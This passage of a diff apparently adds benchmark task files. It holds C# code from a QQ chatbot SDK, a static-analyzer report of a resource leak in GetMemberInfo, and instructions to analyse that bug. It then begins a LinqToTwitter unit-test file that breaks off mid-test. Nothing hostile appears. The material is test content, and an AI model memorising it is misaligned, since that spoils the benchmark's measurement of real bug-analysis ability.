+        public int SendPrivateMessage (long qqId, string message)
+        {
+            GCHandle handle = message.GetStringGCHandle (_defaultEncoding);
+            int msgId = CQP.CQ_sendPrivateMsg (_authCode, qqId, handle.AddrOfPinnedObject ());
+            handle.Free ();
+            return msgId;
+        }
+
+        /// <summary>
+        /// 发送讨论组消息
+        /// </summary>
+        /// <param name="discussId">目标讨论组</param>
+        /// <param name="message">消息内容</param>
+        /// <returns>失败返回负值, 成功返回消息 Id</returns>
+        public int SendDiscussMessage (long discussId, string message)
+        {
+            GCHandle handle = message.GetStringGCHandle (_defaultEncoding);
+            int msgid = CQP.CQ_sendDiscussMsg (_authCode, discussId, handle.AddrOfPinnedObject ());
+            handle.Free ();
+            return msgid;
+        }
+
+        /// <summary>
+        /// 发送赞
+        /// </summary>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="count">赞的次数，最多10次（留空为1次）</param>
+        /// <returns></returns>
+        public int SendPraise (long qqId, int count = 1)
+        {
+            if (count < 1)
+            {
+                count = 1;
+            }
+            if (count > 10)
+            {
+                count = 10;
+            }
+            return CQP.CQ_sendLikeV2 (_authCode, qqId, count);
+        }
+
+        /// <summary>
+        /// 接收消息中的语音 (含有CQ码 "record" 的消息)
+        /// </summary>
+        /// <param name="fileName">文件名, 收到消息中的语音文件名(file)</param>
+        /// <param name="formatType">应用所需的语音文件格式</param>
+        /// <returns>返回语音文件绝对路径</returns>
+        public string ReceiveRecord (string fileName, AudioOutFormat formatType)
+        {
+            return CQP.CQ_getRecordV2 (_authCode, fileName, formatType.GetDescription ());
+        }
+
+        /// <summary>
+        /// 接收消息中的图片 (含有CQ码 "image" 的消息)
+        /// </summary>
+        /// <param name="fileName"></param>
+        /// <returns>返回图片文件绝对路径</returns>
+        public string ReceiveImage (string fileName)
+        {
+            return CQP.CQ_getImage (_authCode, fileName);
+        }
+
+        /// <summary>
+        /// 撤回消息
+        /// </summary>
+        /// <param name="id">消息ID</param>
+        /// <returns></returns>
+        public int RepealMessage (int id)
+        {
+            return CQP.CQ_deleteMsg (_authCode, id);
+        }
+        #endregion
+
+        #region --框架--
+        /// <summary>
+        /// 取登录QQ
+        /// </summary>
+        /// <returns>返回整数</returns>
+        public long GetLoginQQ ()
+        {
+            return CQP.CQ_getLoginQQ (_authCode);
+        }
+
+        /// <summary>
+        /// 获取当前登录QQ的昵称
+        /// </summary>
+        /// <returns>返回 GB108030 编码的字符串</returns>
+        public string GetLoginNick ()
+        {
+            return CQP.CQ_getLoginNick (_authCode).ToString (_defaultEncoding);
+        }
+
+        /// <summary>
+        /// 取应用目录
+        /// </summary>
+        /// <returns>返回本地路径字符串</returns>
+        public string GetAppDirectory ()
+        {
+            if (_appDirCache == null)
+            {
+                _appDirCache = CQP.CQ_getAppDirectory (_authCode);
+            }
+            return _appDirCache;
+        }
+
+        /// <summary>
+        /// 获取 Cookies 慎用,此接口需要严格授权
+        /// </summary>
+        /// <returns>返回 Cookies 字符串</returns>
+        public string GetCookies ()
+        {
+            return CQP.CQ_getCookies (_authCode);
+        }
+
+        /// <summary>
+        /// 即QQ网页用到的bkn/g_tk等 慎用,此接口需要严格授权
+        /// </summary>
+        /// <returns>返回 bkn/g_tk 字符串</returns>
+        public int GetCsrfToken ()
+        {
+            return CQP.CQ_getCsrfToken (_authCode);
+        }
+
+        /// <summary>
+        /// 获取QQ信息
+        /// </summary>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="notCache">不使用缓存, 默认为"False"，通常忽略本参数，仅在必要时使用</param>
+        /// <returns>获取成功返回 <see cref="QQInfo"/>, 失败返回 null</returns>
+        public QQInfo GetQQInfo (long qqId, bool notCache = false)
+        {
+            string result = CQP.CQ_getStrangerInfo (_authCode, qqId, notCache);
+            if (string.IsNullOrEmpty (result))
+            {
+                return null;
+            }
+            BinaryReader binary = new BinaryReader (new MemoryStream (Convert.FromBase64String (result)));
+            QQInfo qqInfo = new QQInfo ();
+            qqInfo.Id = binary.ReadInt64_Ex ();
+            qqInfo.Nick = binary.ReadString_Ex (_defaultEncoding);
+            qqInfo.Sex = (Sex)binary.ReadInt32_Ex ();
+            qqInfo.Age = binary.ReadInt32_Ex ();
+            return qqInfo;
+        }
+
+        /// <summary>
+        /// 获取群成员信息
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="notCache">默认为 "Flase", 通常忽略本参数, 仅在必要的是否使用</param>
+        /// <returns>获取成功返回 <see cref="GroupMember"/>, 失败返回 null</returns>
+        public GroupMember GetMemberInfo (long groupId, long qqId, bool notCache = false)
+        {
+            string result = CQP.CQ_getGroupMemberInfoV2 (_authCode, groupId, qqId, notCache);
+            if (string.IsNullOrEmpty (result))
+            {
+                return null;
+            }
+            #region --其它_转换_文本到群成员信息--
+            BinaryReader binary = new BinaryReader (new MemoryStream (Convert.FromBase64String (result)));
+            GroupMember member = new GroupMember ();
+            member.GroupId = binary.ReadInt64_Ex ();
+            member.QQId = binary.ReadInt64_Ex ();
+            member.Nick = binary.ReadString_Ex (_defaultEncoding);
+            member.Card = binary.ReadString_Ex (_defaultEncoding);
+            member.Sex = (Sex)binary.ReadInt32_Ex ();
+            member.Age = binary.ReadInt32_Ex ();
+            member.Area = binary.ReadString_Ex (_defaultEncoding);
+            member.JoiningTime = binary.ReadInt32_Ex ().ToDateTime ();
+            member.LastDateTime = binary.ReadInt32_Ex ().ToDateTime ();
+            member.Level = binary.ReadString_Ex (_defaultEncoding);
+            member.PermitType = (PermitType)binary.ReadInt32_Ex ();
+            member.BadRecord = binary.ReadInt32_Ex () == 1;
+            member.SpecialTitle = binary.ReadString_Ex (_defaultEncoding);
+            member.SpecialTitleDurationTime = binary.ReadInt32_Ex ().ToDateTime ();
+            member.CanModifiedCard = binary.ReadInt32_Ex () == 1;
+            #endregion
+            return member;
+
+        }
+
+        /// <summary>
+        /// 获取群成员列表
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <returns>获取成功返回 <see cref="List{GroupMember}"/>, 失败返回 null</returns>
+        public List<GroupMember> GetMemberList (long groupId)
+        {
+            string result = CQP.CQ_getGroupMemberList (_authCode, groupId);
+            if (string.IsNullOrEmpty (result))
+            {
+                return null;
+            }
+            #region --其他_转换_文本到群成员列表信息a--
+            BinaryReader binary = new BinaryReader (new MemoryStream (Convert.FromBase64String (result)));
+            List<GroupMember> memberInfos = new List<GroupMember> ();
+            for (int i = 0, len = binary.ReadInt32_Ex (); i < len; i++)
+            {
+                if (binary.Length () <= 0)
+                {
+                    return null;
+                }
+                #region --其它_转换_ansihex到群成员信息--
+                BinaryReader tempBinary = new BinaryReader (new MemoryStream (binary.ReadToken_Ex ())); //解析群成员信息
+                GroupMember member = new GroupMember ();
+                member.GroupId = tempBinary.ReadInt64_Ex ();
+                member.QQId = tempBinary.ReadInt64_Ex ();
+                member.Nick = tempBinary.ReadString_Ex (_defaultEncoding);
+                member.Card = tempBinary.ReadString_Ex (_defaultEncoding);
+                member.Sex = (Sex)tempBinary.ReadInt32_Ex ();
+                member.Age = tempBinary.ReadInt32_Ex ();
+                member.Area = tempBinary.ReadString_Ex (_defaultEncoding);
+                member.JoiningTime = tempBinary.ReadInt32_Ex ().ToDateTime ();
+                member.LastDateTime = tempBinary.ReadInt32_Ex ().ToDateTime ();
+                member.Level = tempBinary.ReadString_Ex (_defaultEncoding);
+                member.PermitType = (PermitType)tempBinary.ReadInt32_Ex ();
+                member.BadRecord = tempBinary.ReadInt32_Ex () == 1;
+                member.SpecialTitle = tempBinary.ReadString_Ex (_defaultEncoding);
+                member.SpecialTitleDurationTime = tempBinary.ReadInt32_Ex ().ToDateTime ();
+                member.CanModifiedCard = tempBinary.ReadInt32_Ex () == 1;
+                #endregion
+                memberInfos.Add (member);
+            }
+            #endregion
+            return memberInfos;
+        }
+
+        /// <summary>
+        /// 获取群列表
+        /// </summary>
+        /// <returns>获取成功返回 <see cref="List{Group}"/>, 失败返回 null</returns>
+        public List<Group> GetGroupList ()
+        {
+            string result = CQP.CQ_getGroupList (_authCode);
+            if (string.IsNullOrEmpty (result))
+            {
+                return null;
+            }
+            List<Group> groups = new List<Group> ();
+            #region --其他_转换_文本到群列表信息a--
+            BinaryReader binary = new BinaryReader (new MemoryStream (Convert.FromBase64String (result)));
+            for (int i = 0, len = binary.ReadInt32_Ex (); i < len; i++)
+            {
+                if (binary.Length () <= 0)
+                {
+                    return null;
+                }
+                #region --其他_转换_ansihex到群信息--
+                BinaryReader tempBinary = new BinaryReader (new MemoryStream (binary.ReadToken_Ex ()));
+                Group group = new Group ();
+                group.Id = tempBinary.ReadInt64_Ex ();
+                group.Name = tempBinary.ReadString_Ex (_defaultEncoding);
+                groups.Add (group);
+                #endregion
+            }
+            #endregion
+            return groups;
+        }
+
+        /// <summary>
+        /// 获取发送语音支持
+        /// </summary>
+        /// <returns></returns>
+        public bool GetSendRecordSupport ()
+        {
+            return CQP.CQ_canSendRecord (_authCode) > 0;
+        }
+
+        /// <summary>
+        /// 获取发送图片支持
+        /// </summary>
+        /// <returns></returns>
+        public bool GetSendImageSupport ()
+        {
+            return CQP.CQ_canSendImage (_authCode) > 0;
+        }
+        #endregion
+
+        #region --日志--
+        /// <summary>
+        /// 添加日志
+        /// </summary>
+        /// <param name="level">级别</param>
+        /// <param name="type">类型</param>
+        /// <param name="content">内容</param>
+        /// <returns></returns>
+        public int AddLoger (LogerLevel level, string type, string content)
+        {
+            GCHandle handle = content.GetStringGCHandle (_defaultEncoding);
+            int result = CQP.CQ_addLog (_authCode, (int)level, type, handle.AddrOfPinnedObject ());
+            handle.Free ();
+            return result;
+
+        }
+
+        /// <summary>
+        /// 添加致命错误提示
+        /// </summary>
+        /// <param name="message">错误信息</param>
+        /// <returns></returns>
+        public int AddFatalError (string message)
+        {
+            return CQP.CQ_setFatal (_authCode, message);
+        }
+        #endregion
+
+        #region --请求--
+        /// <summary>
+        /// 置好友添加请求
+        /// </summary>
+        /// <param name="tag">请求反馈标识</param>
+        /// <param name="response">反馈类型</param>
+        /// <param name="notes">备注</param>
+        /// <returns></returns>
+        public int SetFriendAddRequest (string tag, ResponseType response, string notes = null)
+        {
+            if (notes == null)
+            {
+                notes = string.Empty;
+            }
+            GCHandle handle = notes.GetStringGCHandle (_defaultEncoding);
+            int result = CQP.CQ_setFriendAddRequest (_authCode, tag, (int)response, handle.AddrOfPinnedObject ());
+            handle.Free ();
+            return result;
+        }
+
+        /// <summary>
+        /// 置群添加请求
+        /// </summary>
+        /// <param name="tag">请求反馈标识</param>
+        /// <param name="request">请求类型</param>
+        /// <param name="response">反馈类型</param>
+        /// <param name="appendMsg">备注</param>
+        /// <returns></returns>
+        public int SetGroupAddRequest (string tag, RequestType request, ResponseType response, string appendMsg)
+        {
+            if (appendMsg == null)
+            {
+                appendMsg = string.Empty;
+            }
+            GCHandle handle = appendMsg.GetStringGCHandle (_defaultEncoding);
+            int result = CQP.CQ_setGroupAddRequestV2 (_authCode, tag, (int)request, (int)response, handle.AddrOfPinnedObject ());
+            handle.Free ();
+            return result;
+        }
+        #endregion
+
+        #region --管理--
+        /// <summary>
+        /// 置匿名群员禁言
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="anonymous">匿名参数</param>
+        /// <param name="time">禁言时间, 单位: 秒, 不支持解禁</param>
+        /// <returns></returns>
+        public int SetGroupAnonymousBanSpeak (long groupId, string anonymous, TimeSpan time)
+        {
+            if (time.TotalSeconds <= 0)
+            {
+                time = TimeSpan.Zero;
+            }
+            GCHandle handle = anonymous.GetStringGCHandle (_defaultEncoding);
+            int result = CQP.CQ_setGroupAnonymousBan (_authCode, groupId, handle.AddrOfPinnedObject (), (long)time.TotalSeconds);
+            handle.Free ();
+            return result;
+        }
+
+        /// <summary>
+        /// 置群员禁言
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="time">禁言的时间，单位为秒。如果要解禁，请给TimeSpan.Zero</param>
+        /// <returns></returns>
+        public int SetGroupBanSpeak (long groupId, long qqId, TimeSpan time)
+        {
+            if (time.Ticks < 0)
+            {
+                time = TimeSpan.Zero;
+            }
+            return CQP.CQ_setGroupBan (_authCode, groupId, qqId, (long)time.TotalSeconds);
+        }
+
+        /// <summary>
+        /// 置全群禁言
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="isOpen">是否开启</param>
+        /// <returns></returns>
+        public int SetGroupWholeBanSpeak (long groupId, bool isOpen)
+        {
+            return CQP.CQ_setGroupWholeBan (_authCode, groupId, isOpen);
+        }
+
+        /// <summary>
+        /// 置群成员名片
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="newNick">新昵称</param>
+        /// <returns></returns>
+        public int SetGroupMemberNewCard (long groupId, long qqId, string newNick)
+        {
+            GCHandle handle = newNick.GetStringGCHandle (_defaultEncoding);
+            int result = CQP.CQ_setGroupCard (_authCode, groupId, qqId, handle.AddrOfPinnedObject ());
+            handle.Free ();
+            return result;
+        }
+
+        /// <summary>
+        /// 置群成员专属头衔
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="specialTitle">如果要删除，这里填空</param>
+        /// <param name="time">专属头衔有效期，单位为秒。如果永久有效，time填写负数</param>
+        /// <returns></returns>
+        public int SetGroupSpecialTitle (long groupId, long qqId, string specialTitle, TimeSpan time)
+        {
+            if (time.Ticks < 0)
+            {
+                time = new TimeSpan (-10000000);     //-1秒
+            }
+            GCHandle handle = specialTitle.GetStringGCHandle (_defaultEncoding);
+            int result = CQP.CQ_setGroupSpecialTitle (_authCode, groupId, qqId, handle.AddrOfPinnedObject (), (long)time.TotalSeconds);
+            handle.Free ();
+            return result;
+        }
+
+        /// <summary>
+        /// 置群管理员
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="isCalcel">True: 设置管理员, False: 取消管理员</param>
+        /// <returns></returns>
+        public int SetGroupManager (long groupId, long qqId, bool isCalcel)
+        {
+            return CQP.CQ_setGroupAdmin (_authCode, groupId, qqId, isCalcel);
+        }
+
+        /// <summary>
+        /// 置群匿名设置
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="isOpen">是否打开</param>
+        /// <returns></returns>
+        public int SetAnonymousStatus (long groupId, bool isOpen)
+        {
+            return CQP.CQ_setGroupAnonymous (_authCode, groupId, isOpen);
+        }
+
+        /// <summary>
+        /// 置群退出 慎用,此接口需要严格授权
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="dissolve">默认为False, True: 解散本群(群主) False: 退出本群(管理、群成员)</param>
+        /// <returns></returns>
+        public int SetGroupExit (long groupId, bool dissolve = false)
+        {
+            return CQP.CQ_setGroupLeave (_authCode, groupId, dissolve);
+        }
+
+        /// <summary>
+        /// 置群员移除
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="notAccept">如果为True，则“不再接收此人加群申请”，请慎用。留空为False</param>
+        /// <returns></returns>
+        public int SetGroupMemberRemove (long groupId, long qqId, bool notAccept = false)
+        {
+            return CQP.CQ_setGroupKick (_authCode, groupId, qqId, notAccept);
+        }
+
+        /// <summary>
+        /// 置讨论组退出
+        /// </summary>
+        /// <param name="discussId">目标讨论组</param>
+        /// <returns></returns>
+        public int SetDiscussExit (long discussId)
+        {
+            return CQP.CQ_setDiscussLeave (_authCode, discussId);
+        }
+        #endregion
+
+        #region --其它--
+        /// <summary>
+        /// 设置App验证码
+        /// </summary>
+        /// <param name="authCode"></param>
+        [Obsolete ("更改了该类的构造方式, 此方法不建议再使用")]
+        public void SetAuthCode (int authCode)
+        {
+            _authCode = authCode;
+        }
+
+        /// <summary>
+        /// 获取App验证码
+        /// </summary>
+        /// <returns></returns>
+        [Obsolete ("更改了该类的构造方式, 此方法不建议再使用")]
+        public int GetAuthCode ()
+        {
+            return _authCode;
+        }
+
+        /// <summary>
+        /// 获取匿名信息
+        /// </summary>
+        /// <param name="source">匿名参数</param>
+        /// <returns></returns>
+        public GroupAnonymous GetAnonymous (string source)
+        {
+            BinaryReader binary = new BinaryReader (new MemoryStream (Convert.FromBase64String (source)));
+            GroupAnonymous anonymous = new GroupAnonymous ();
+            anonymous.Id = binary.ReadInt64_Ex ();
+            anonymous.CodeName = binary.ReadString_Ex ();
+            anonymous.Token = binary.ReadToken_Ex ();
+            return anonymous;
+        }
+
+        /// <summary>
+        /// 获取群文件
+        /// </summary>
+        /// <param name="source">群文件参数</param>
+        /// <returns></returns>
+        public GroupFile GetFile (string source)
+        {
+            BinaryReader binary = new BinaryReader (new MemoryStream (Convert.FromBase64String (source)));
+            GroupFile file = new GroupFile ();
+            file.Id = binary.ReadString_Ex ();      // 参照官方SDK, 编码为 ASCII
+            file.Name = binary.ReadString_Ex ();    // 参照官方SDK, 编码为 ASCII
+            file.Size = binary.ReadInt64_Ex ();
+            file.Busid = Convert.ToInt32 (binary.ReadInt64_Ex ());
+            return file;
+        }
+
+        /// <summary>
+        /// 编码悬浮窗数据置文本
+        /// </summary>
+        /// <param name="floatWindow"></param>
+        /// <returns></returns>
+        public string FormatStringFloatWindow (FloatWindow floatWindow)
+        {
+            BinaryWriter binary = new BinaryWriter (new MemoryStream ());
+            binary.Write_Ex (floatWindow.Data);
+            binary.Write_Ex (floatWindow.Unit);
+            binary.Write_Ex ((int)floatWindow.Color);
+
+            return Convert.ToBase64String (binary.ToArray ());
+        }
+        #endregion
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource binary of type System.IO.BinaryReader, Leaked resource (output of System.IO.MemoryStream::.ctor() at Line 418) of type System.IO.MemoryStream in method "GroupMember CqApi.GetMemberInfo(Int64,Int64,Boolean)".
+
+### Severity:
+ERROR
+
+### Procedure:
+GroupMember CqApi.GetMemberInfo(Int64,Int64,Boolean)
+
+### File:
+Native.Csharp.Sdk/Cqp/CqApi.cs
+
+### Key:
+CqApi.cs|GetMemberInfo|DOTNET_RESOURCE_LEAK
+
+### Hash:
+2c1d38ec8c98076dc57f629d02d82d03
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1246/instruction.md b/inferredbugs-1246/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1016a294e71e2c679e2d5bab40afa4487ec4e5ec
--- /dev/null
+++ b/inferredbugs-1246/instruction.md
@@ -0,0 +1,1101 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** LinqToTwitter
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Linq.Expressions;
+using LinqToTwitter.Common;
+using LinqToTwitter.Provider;
+using LinqToTwitter.Tests.Common;
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+
+namespace LinqToTwitter.Tests.TweetTests
+{
+    [TestClass]
+    public class TweetRequestProcessorTests
+    {
+        const string BaseUrl2 = "https://api.twitter.com/2/";
+
+        public TweetRequestProcessorTests()
+        {
+            TestCulture.SetCulture();
+        }
+
+        [TestMethod]
+        public void GetParametersTest()
+        {
+            var target = new TweetRequestProcessor<TweetQuery>();
+
+			var endTime = new DateTime(2020, 8, 30);
+			var startTime = new DateTime(2020, 8, 1);
+			Expression<Func<TweetQuery, bool>> expression =
+				tweet =>
+					tweet.Type == TweetType.Lookup &&
+					tweet.EndTime == endTime &&
+					tweet.Exclude == TweetExcludes.Replies &&
+					tweet.Ids == "2,3" &&
+					tweet.ID == "123" &&
+					tweet.Expansions == "attachments.poll_ids,author_id" &&
+					tweet.MaxResults == 99 &&
+					tweet.MediaFields == "height,width" &&
+					tweet.PaginationToken == "456" &&
+					tweet.PlaceFields == "country" &&
+					tweet.PollFields == "duration_minutes,end_datetime" &&
+					tweet.SinceID == "789" &&
+					tweet.SpaceID == "345" &&
+					tweet.StartTime == startTime &&
+					tweet.TweetFields == "author_id,created_at" &&
+					tweet.UntilID == "012" &&
+                    tweet.UserFields == "created_at,verified";
+
+            var lambdaExpression = expression as LambdaExpression;
+
+            Dictionary<string, string> queryParams = target.GetParameters(lambdaExpression);
+
+            Assert.IsTrue(
+                queryParams.Contains(
+                    new KeyValuePair<string, string>(nameof(TweetQuery.Type), ((int)TweetType.Lookup).ToString(CultureInfo.InvariantCulture))));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.EndTime), "08/30/2020 00:00:00")));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.Exclude), TweetExcludes.Replies)));
+			Assert.IsTrue(
+                queryParams.Contains(
+                    new KeyValuePair<string, string>(nameof(TweetQuery.Ids), "2,3")));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.ID), "123")));
+			Assert.IsTrue(
+                queryParams.Contains(
+                    new KeyValuePair<string, string>(nameof(TweetQuery.Expansions), "attachments.poll_ids,author_id")));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.MaxResults), "99")));
+			Assert.IsTrue(
+                queryParams.Contains(
+                    new KeyValuePair<string, string>(nameof(TweetQuery.MediaFields), "height,width")));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.PaginationToken), "456")));
+			Assert.IsTrue(
+               queryParams.Contains(
+                   new KeyValuePair<string, string>(nameof(TweetQuery.PlaceFields), "country")));
+            Assert.IsTrue(
+               queryParams.Contains(
+                   new KeyValuePair<string, string>(nameof(TweetQuery.PollFields), "duration_minutes,end_datetime")));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.SinceID), "789")));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.SpaceID), "345")));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.StartTime), "08/01/2020 00:00:00")));
+			Assert.IsTrue(
+                queryParams.Contains(
+                    new KeyValuePair<string, string>(nameof(TweetQuery.TweetFields), "author_id,created_at")));
+			Assert.IsTrue(
+				queryParams.Contains(
+					new KeyValuePair<string, string>(nameof(TweetQuery.UntilID), "012")));
+			Assert.IsTrue(
+                queryParams.Contains(
+                    new KeyValuePair<string, string>(nameof(TweetQuery.UserFields), "created_at,verified")));
+        }
+
+        [TestMethod]
+        public void BuildUrl_ForLookup_IncludesParameters()
+        {
+            const string ExpectedUrl =
+                BaseUrl2 + "tweets?" +
+                "ids=2%2C3&" +
+                "expansions=attachments.poll_ids%2Cauthor_id&" +
+                "media.fields=height%2Cwidth&" +
+                "place.fields=country&" +
+                "poll.fields=duration_minutes%2Cend_datetime&" +
+                "tweet.fields=author_id%2Ccreated_at&" +
+                "user.fields=created_at%2Cverified";
+            var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+            var parameters =
+                new Dictionary<string, string>
+                {
+                    { nameof(TweetQuery.Type), TweetType.Lookup.ToString() },
+                    { nameof(TweetQuery.Ids), "2,3" },
+                    { nameof(TweetQuery.Expansions), "attachments.poll_ids,author_id" },
+                    { nameof(TweetQuery.MediaFields), "height,width" },
+                    { nameof(TweetQuery.PlaceFields), "country" },
+                    { nameof(TweetQuery.PollFields), "duration_minutes,end_datetime" },
+                    { nameof(TweetQuery.TweetFields), "author_id,created_at" },
+                    { nameof(TweetQuery.UserFields), "created_at,verified" },
+               };
+
+            Request req = tweetReqProc.BuildUrl(parameters);
+
+            Assert.AreEqual(ExpectedUrl, req.FullUrl);
+        }
+
+		[TestMethod]
+		public void BuildUrl_ForMentionsTimeline_IncludesParameters()
+		{
+			const string ExpectedUrl =
+				BaseUrl2 + "users/123/mentions?" +
+				"end_time=2021-01-01T12%3A59%3A59Z&" +
+				"exclude=replies%2Cretweets&" +
+				"max_results=50&" +
+				"pagination_token=456&" +
+				"since_id=789&" +
+				"start_time=2020-12-31T00%3A00%3A01Z&" +
+				"until_id=012&" +
+				"expansions=attachments.poll_ids%2Cauthor_id&" +
+				"media.fields=height%2Cwidth&" +
+				"place.fields=country&" +
+				"poll.fields=duration_minutes%2Cend_datetime&" +
+				"tweet.fields=author_id%2Ccreated_at&" +
+				"user.fields=created_at%2Cverified";
+			var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+			var parameters =
+				new Dictionary<string, string>
+				{
+					{ nameof(TweetQuery.Type), TweetType.MentionsTimeline.ToString() },
+					{ nameof(TweetQuery.EndTime), new DateTime(2021, 1, 1, 12, 59, 59).ToString() },
+					{ nameof(TweetQuery.Exclude), TweetExcludes.All },
+					{ nameof(TweetQuery.Expansions), "attachments.poll_ids,author_id" },
+					{ nameof(TweetQuery.ID), "123" },
+					{ nameof(TweetQuery.MaxResults), "50" },
+					{ nameof(TweetQuery.MediaFields), "height,width" },
+					{ nameof(TweetQuery.PaginationToken), "456" },
+					{ nameof(TweetQuery.PlaceFields), "country" },
+					{ nameof(TweetQuery.PollFields), "duration_minutes,end_datetime" },
+					{ nameof(TweetQuery.SinceID), "789" },
+					{ nameof(TweetQuery.StartTime), new DateTime(2020, 12, 31, 0, 0, 1).ToString() },
+					{ nameof(TweetQuery.TweetFields), "author_id,created_at" },
+					{ nameof(TweetQuery.UntilID), "012" },
+					{ nameof(TweetQuery.UserFields), "created_at,verified" },
+			   };
+
+			Request req = tweetReqProc.BuildUrl(parameters);
+
+			Assert.AreEqual(ExpectedUrl, req.FullUrl);
+		}
+
+		[TestMethod]
+		public void BuildUrl_ForUserTimeline_IncludesParameters()
+		{
+			const string ExpectedUrl =
+				BaseUrl2 + "users/123/tweets?" +
+				"end_time=2021-01-01T12%3A59%3A59Z&" +
+				"exclude=replies%2Cretweets&" +
+				"max_results=50&" +
+				"pagination_token=456&" +
+				"since_id=789&" +
+				"start_time=2020-12-31T00%3A00%3A01Z&" +
+				"until_id=012&" +
+				"expansions=attachments.poll_ids%2Cauthor_id&" +
+				"media.fields=height%2Cwidth&" +
+				"place.fields=country&" +
+				"poll.fields=duration_minutes%2Cend_datetime&" +
+				"tweet.fields=author_id%2Ccreated_at&" +
+				"user.fields=created_at%2Cverified";
+			var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+			var parameters =
+				new Dictionary<string, string>
+				{
+					{ nameof(TweetQuery.Type), TweetType.TweetsTimeline.ToString() },
+					{ nameof(TweetQuery.EndTime), new DateTime(2021, 1, 1, 12, 59, 59).ToString() },
+					{ nameof(TweetQuery.Exclude), TweetExcludes.All },
+					{ nameof(TweetQuery.Expansions), "attachments.poll_ids,author_id" },
+					{ nameof(TweetQuery.ID), "123" },
+					{ nameof(TweetQuery.MaxResults), "50" },
+					{ nameof(TweetQuery.MediaFields), "height,width" },
+					{ nameof(TweetQuery.PaginationToken), "456" },
+					{ nameof(TweetQuery.PlaceFields), "country" },
+					{ nameof(TweetQuery.PollFields), "duration_minutes,end_datetime" },
+					{ nameof(TweetQuery.SinceID), "789" },
+					{ nameof(TweetQuery.StartTime), new DateTime(2020, 12, 31, 0, 0, 1).ToString() },
+					{ nameof(TweetQuery.TweetFields), "author_id,created_at" },
+					{ nameof(TweetQuery.UntilID), "012" },
+					{ nameof(TweetQuery.UserFields), "created_at,verified" },
+			   };
+
+			Request req = tweetReqProc.BuildUrl(parameters);
+
+			Assert.AreEqual(ExpectedUrl, req.FullUrl);
+		}
+
+		[TestMethod]
+        public void BuildUrl_WithNullParameters_Throws()
+        {
+            var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+
+            L2TAssert.Throws<NullReferenceException>(() =>
+            {
+                tweetReqProc.BuildUrl(null);
+            });
+        }
+
+		[TestMethod]
+        public void BuildUrl_WithSpacesInFields_FixesSpaces()
+        {
+            const string ExpectedUrl =
+                BaseUrl2 + "tweets?" +
+                "ids=2%2C3&" +
+                "expansions=attachments.poll_ids%2Cauthor_id&" +
+                "media.fields=height%2Cwidth&" +
+                "place.fields=country&" +
+                "poll.fields=duration_minutes%2Cend_datetime&" +
+                "tweet.fields=author_id%2Ccreated_at&" +
+                "user.fields=created_at%2Cverified";
+            var tweetReqProc = new TweetRequestProcessor<TweetQuery> { BaseUrl = BaseUrl2 };
+            var parameters =
+                new Dictionary<string, string>
+                {
+                    { nameof(TweetQuery.Type), TweetType.Lookup.ToString() },
+                    { nameof(TweetQuery.Ids), "2, 3" },
+                    { nameof(TweetQuery.Expansions), "attachments.poll_ids, author_id" },
+                    { nameof(TweetQuery.MediaFields), "height, width" },
+                    { nameof(TweetQuery.PlaceFields), "country" },
+                    { nameof(TweetQuery.PollFields), "duration_minutes, end_datetime" },
+                    { nameof(TweetQuery.TweetFields), "author_id, created_at" },
